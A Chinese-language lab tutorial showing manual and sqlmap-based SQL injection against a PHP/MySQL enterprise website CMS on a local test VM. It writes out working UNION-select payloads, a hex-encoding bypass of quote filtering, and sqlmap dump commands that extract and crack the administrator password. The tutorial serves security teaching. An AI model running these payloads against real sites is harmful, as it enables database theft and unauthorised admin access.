金戈企业网站SQL注入测试
手工SQL注入测试
SQL注入(SQL Injection)作为一种很流行的攻击手段,一直以来都受到网络安全研究者和黑客们的广泛关注。
网站上许多由用户提交的数据,会与程序中的SQL语句合在一起,传递到数据库去执行。如果用户在输入的字符串之中附加了额外的SQL指令,而web应用程序对用户输入数据的合法性没有判断或过滤不严,那么这些注入进去的恶意指令就会被数据库服务器误认为是正常的SQL指令而运行。
服务器端程序的相关代码通常会是以下形式:

图 1.18 服务器端程序的相关代码
分析一下上图中的代码,通过GET方式取的参数id的值后,直接用来构造动态SQL语句,并执行SQL查询。整个过程没有对变量id的值作任何处理,导致SQL注入漏洞的产生。
例如,正常情况下,访问http://x.x.x.x/new.php?id=3时,数据库执行中执行的是以下语句:
Select * from news where id=3
如果用户在http://x.x.x.x/new.php?id=3后面添加“and 1=0”后,添加的部分会被程序一起提交到数据库中执行,这就产生了SQL注入。此时,数据库中执行的语句如下:
Select * from news where id=3 and 1=0
通过添加一些专门构造的语句,黑客可以获取数据库中的机密数据、更改数据库中的数据。由于SQL注入是通过网站的端口(通常为80端口)来提交恶意SQL语句,表面上看起来和正常访问网站没有区别,如果不仔细查看WEB日志很难发现此类攻击,隐蔽性非常高。
千里之堤,溃于蚁穴。黑客通过SQL注入打开一个进入系统的缺口之后,由此可能会引发进一步的安全问题。例如,网页挂马,上传webshell,甚至得到整台服务器的管理员权限。
步骤1:寻找SQL注入点
基础环境搭建并配置完毕后,就可以开始我们的第一项实验,针对于PHP+MySQL网站系统进行手工SQL注入。现在我们需要从攻击者的角度来测试网站。
首先,在“企业新闻”页面,选择一篇新闻,此时的URL:http://192.168.142.133/new.php?id=1,此处存在一个参数为id,它的值等于1,如下图,

图 1.19 此处存在一个参数为id
如果手工将1改为2,也能访问到id为2的文章。在这个页面,就有我们的注入点,就是可以实行SQL注入的地方。接下来,我们会使用手工注入的方式,对当前的页面进行SQL注入。
现在,我们在浏览器地址栏的原本的URL地址后面加上一个单引号,会发现返回一个不同的页面,如下图所示,这说明我们添加的单引号影响了程序的运行结果。此处很可能存在注入点。

图 1.20
接着,我们在“浏览器地址栏”处URL地址后添加:【 and 1=1】和【 and 1=2】,请注意不要输入【】,and前后各有一个空格。输入【 and 1=1】时返回的页面和正常页面是一致的,如下图所示:

图 1.21
然而当输入【 and 1=2】时返回的页面和正常页面不一致:

图 1.22
现在,我们可以确定此处是很可能就是一个SQL注入点,程序对带入的参数没有做任何处理,直接带到数据库的查询语句中。可以推断出在访问http://192.168.142.133/new.php?id=1时数据库中执行的SQL语句大概是这样的:
Select * from [表名] where id=3
添加and 1=1后的SQL语句:
Select * from [表名] where id=3 and 1=1
由于条件and 1=1永远为真,所以返回的页面和正常页面是一致的
添加and 1=2后的SQL语句:
Select * from [表名] where id=3 and 1=2
由于条件1=2永远为假,所以返回的页面和正常页面不一致
注意:但有时仅用以上方法测试是否存在注入点并不准确。因为有的程序员会对参数进行一些简单的过滤,但过滤不严格,还是可以通过转义字符,或者其它方式绕过程序的检查。
步骤2:通过SQL注入,获取管理员密码
上面我们找到此系统的SQL注入点,下面就让我们来体验一下SQL注入强大的威力。我们先来判断一下数据库类型以及版本,构造如下语句:
http://192.168.142.133/new.php?id=1 and ord(mid(version(),1,1))>51
在以上语句中,ord,mid,version是mysql的函数,具体解释如下:
-
version()用于获取当前数据库的版本,获取到的版本号是类似5.7.24这种形式
-
mid()用于截位操作,mid(version(),1,1)从版本号中的第1个字符开始,截取1个字符
-
ord()用于查询单字节字符的ASCII码。51是数字3的ASCII码,>51表明当前版本至少是4,只有版本大于3时才能支持union查询;
如果返回正常页面,说明数据库是MySQL,并且版本大于4.0,支持union查询,反之是4.0以下版本或者其他类型数据库。
接着我们再构造如下语句来得到表中字段数量:
-
http://192.168.142.133/new.php?id=1 order by 10 返回错误页面,说明字段小于10
-
http://192.168.142.133/new.php?id=1 order by 5 返回正常页面,说明字段介于5和10之间
-
http://192.168.142.133/new.php?id=1 order by 7 返回错误页面,说明字段大于5小于7,可以判断字段数是6。下面我们再来确认一下
-
http://192.168.142.133/new.php?id=1 order by 6 返回正常页面,说明字段确实是6
这里采用了“二分查找法”,这样可以减少判断次数,节省时间。如果采用从order by 1依次增加数值的方法来判断,需要7次才可以确定字段数,采用“二分查找法”只需要4次就够。当字段数很大时,二分查找法的优势更加明显,效率更高。
下面我们构造如下的语句来确定哪些字段可以用来将数据显示在网页上:
http://192.168.142.133/new.php?id=0 union select 1,2,3,4,5,6

图 1.23
根据返回信息,我们可以确定字段3,4,5,6可以用来显示数据,如上图所示。那么我们来构造下面的语句来得到一些数据库信息:
http://192.168.142.133/new.php?id=0 union select 1,2,database(),version(),user(),6

图 1.24
根据如上图所示的页面返回信息,我们可以得到如下信息:
数据库名:jingesjkm
数据库版本:5.7.27-log
用户名:jingeyhm@localhost,并且Web系统和数据库在同一台服务器上
现在构造以下语句查数据库里的表:
http://192.168.142.133/new.php?id=0 union select 1,2,3,4,5,group_concat(table_name) from information_schema.tables where table_schema=database()

图 1.25
对以上所有表的名称进行分析,估计root这张表里储存有管理员的帐号信息。
然后我们再构造以下语句查询root这张表里的列名:
http://192.168.142.133/new.php?id=0 union select 1,2,3,4,5,group_concat(column_name) from information_schema.columns where table_name=’root’
但这次查询没有得到结果,前面注入的SQL语句都能正常执行,这次多了个特殊符号:单引号。推测是金戈网站程序中对表名进行了单引号过滤,因此无法使用单引号。如果分析源代码的话,可以找到在myapi目录下的myfun.php文件中定义了一个函数my_yz(),这个函数中调用了php的addslashes()进行过滤,addslashes()函数可以对单双引号、反斜线及NULL加上反斜线进行转义。
由于表名root是CHAR类型,因此必须加单引号,即使用table_name=’root’进行查询。但由于金戈网站程序中对表名进行了单引号过滤,因此无法使用单引号。这里可以使用十六进制转换的方法绕过这种限制。将root转换成16进制是726F6F74,加上0x代表此处的数据是16进制,而不是普通的字符串类型。转换后的注入语句如下:
http://192.168.142.133/new.php?id=0 union select 1,2,3,4,5,group_concat(column_name) from information_schema.columns where table_name=0x726F6F74

图 1.26
通过以上方法,我们获知了表root里面包含有以下三个字段:root_id、root_name、root_pass,从命名可以判断root_name即为管理员账户名,root_pass即为管理员登录密码。
最后,我们再构造以下语句,得到管理员的账号密码:
http://192.168.142.133/new.php?id=0 union select 1,2,3,4,root_name,root_pass from root

图 1.27
如上图,账户名是:admin,密码是:5f079981221ce504832142e9526b623bbfb6e686
显然,密码是加密过的密文,常见的网站密码加密类型有MD5,SHA,经过https://www.cmd5.com/在线解密后得知密码是:159357,加密类型是sha1。

图 1.28
我们现在得到了管理员的账号和密码,只要找到管理员登录页面,就可以登录进入后台了。很快我们就找到了网站的后台地址:http://192.168.142.133/isadmin/login.php
我们登录进去看下,如下图所示,成功进入网站后台:

图 1.29
至此,我们通过手工SQL注入,成功的获得了网站后台的管理员密码。
使用Sqlmap工具半自动化注入
接下来,熟悉一下另外一种SQL注入的方式:使用sqlmap半自动化工具进行注入。
sqlmap 是一个开源WEB安全测试工具,它可以自动检测和利用SQL注入漏洞并接管数据库服务器。它具有强大的检测引擎,同时有众多功能,包括数据库指纹识别、从数据库中获取数据、访问底层文件系统以及在操作系统上带内连接执行命令。
可以使用Kali Linux自带的sqlmap,也可以在物理机的windows系统上自行下载、安装sqlmap,安装的具体过程通过搜索引擎自行解决。
同样的,使用sqlmap工具也要寻找注入点,我们依然使用http://192.168.142.133/new.php?id=1作为注入点。
以下示例使用的是Kali Linux中的sqlmap,Kali将一些常用的工具都建立了快捷方式,放到了系统环境变量PATH的目录下,因此可以直接调用。如果是windows上使用,需要输入sqlmap的完整路径。
注意:要保持kali虚拟机和web虚拟机的网络互通,两个虚拟机均使用NAT网络模式,如无法互通请检查解决。
打开Kali linux,在终端中使用sqlmap工具,输入以下命令,利用注入点查询网站当前使用的数据库:
sqlmap -u "http://192.168.142.133/new.php?id=1" --current-db
首次执行命令,可能会提示how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit],这时输入C,意思是继续运行,回车后程序会继续执行,然后会到第二次提示:GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N],意思是id参数存在漏洞,然后询问是否继续测试其他参数。这个URL里只有一个参数,因此输入n,不再测试其他参数。
然后程序就会结束运行,并返回给我们以下内容:

图 1.30
从返回的结果中就可以获得数据库的名称:jingesjkm。
接下来利用数据库名称,获取jingesjkm数据库里面包含的表:
sqlmap -u "http://192.168.142.133/new.php?id=1" -D jingesjkm --tables
这句命令中,-D的意思是DBname,要进行枚举的指定数据库名;--tables枚举的是数据库中的表。

图 1.31
通过以上命令就达到了枚举出jingesjkm数据库中所有的15张数据表。然后就要使用命令枚举表root下的字段:
sqlmap -u "http://192.168.142.133/new.php?id=1" -D jingesjkm -T root --columns
这条命令也是依次加上了-D数据库名和-T数据表名,--columns枚举数据表列名。

图 1.32
如图,被枚举出3个字段,和字段数据类型,可以判断root_name即为管理员账户,root_pass即为管理员密码。
最后,就到了取出账户和密码的时候了,这时使用以下命令:
sqlmap -u "http://192.168.142.133/new.php?id=1" -D jingesjkm -T root -C root_name,root_pass --dump
同样是-D为要进行枚举的指定数据库名,-T为要进行枚举的指定数据库表,-C要进行枚举的数据库列,后面跟要枚举的字段名,多个字段枚举用逗号分隔;--dump为获取数据表字段中的记录值。
在进行这一步操作的时候,会有提示:recognized possible password hashes in column 'root_pass'. Do you want to crack them via a dictionary-based attack? [y/N/q],这里的意思是说在“root_pass”字段中识别出可能的密码哈希。您想通过基于字典的攻击来破解它们吗?输入“y”的话,sqlmap会自动对密文进行解密,输入“n”的话,直接显示查询出来的内容,“q”则是取消当前操作。请注意,如果有字典文件的话,可以输入“y”选择使用字典破解;但是我们这里要输入“n”,直接获取记录值后,自行破解效率最快。

图 1.33
然后通过在线解密网站(https://www.cmd5.com/)进行解密,得出解密后的内容是159357。